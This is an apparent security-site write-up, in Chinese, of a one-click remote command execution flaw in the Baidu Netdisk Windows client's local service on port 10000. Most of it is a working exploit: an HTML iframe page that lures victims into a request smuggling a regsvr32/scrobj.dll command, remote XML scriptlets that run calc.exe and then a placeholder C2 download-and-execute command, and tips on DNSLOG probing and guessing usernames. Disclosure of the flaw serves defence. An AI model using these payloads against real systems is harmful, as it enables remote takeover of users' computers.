百度网盘Windows客户端存在远程命令执行漏洞,Windows客户端安装后,后台程序YunDetectService.exe将监听本地10000端⼝。该后台程序为开机⾃启动;10000端口用来接收web请求(版本7.50.0.130之前处理HTTP,往后版本则是HTTPS),以method=xxxx的形式传递参数,实现不同的功能。其中的method可接收的参数主要包括:GetVersion,GetPcCode,DownloadShareItems,DownloadSelfOwnItems,OpenSafeBox等。其中OpenSafeBox方法存在远程命令执行漏洞,攻击者可以利用该漏洞执行任意命令,导致系统失陷。
Baidunetdisk≤7.59.5.104
查看当前版本
https://127.0.0.1:10000/?method=GetVersion
1click执行系统命令
通过诱导目标访问我们制作好的页面远程加载我们构造的攻击XML造成系统命令执行
http://192.168.1.1/poc.html
poc.html
<html><iframewidth="1px"height="1px"referrerpolicy="no-referrer"src='https://127.0.0.1:10000/?method=OpenSafeBox&uk=a%20-install%20regdll%20%22C:\\windows\\system32\\scrobj.dll\%22%20/u%20/i:http://[payload监听地址]/poc.xml%20\%22\\..\\..\\..\\..\\..\\..\\..\\Users\[实际用户名]\AppData\Roaming\baidu\BaiduNetdisk'></ifram></html>
poc.xml
<?XML version="1.0"?><scriptlet><registrationprogid="poc"classid="{10001111-0000-0000-0000-0000FEEDACDC}"><scriptlanguage="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c calc.exe"); ]]></script></registration></scriptlet>
查看版本
https://1.1.1.1/?method=GetVersion
DNSLOG探测
通过DNSLOG探测确认可以成功远程加载恶意XML。这里[实际用户名]在实战中可以通过爆破(利用dnslog探测)得到,一般很多默认Administrator、admin等等。
https://1.1.1.1/?method=OpenSafeBox&uk=a%20-install%20regdll%20%22C:\\windows\\system32\\scrobj.dll\%22%20/u%20/i:http://[payload服务器地址]/poc.xml%20\%22\\..\\..\\..\\..\\..\\..\\..\\Users\[实际用户名]\AppData\Roaming\baidu\BaiduNetdisk
上线C2
通过修改XML文件中执行命令为C2文件执行命令获取系统权限。
RCE.xml
<?XML version="1.0"?><scriptlet><registrationprogid="poc"classid="{10001111-0000-0000-0000-0000FEEDACDC}"><scriptlanguage="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c [C2下载并执行命令]"); ]]></script></registration></scriptlet>
升级最新版本https://pan.baidu.com/
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)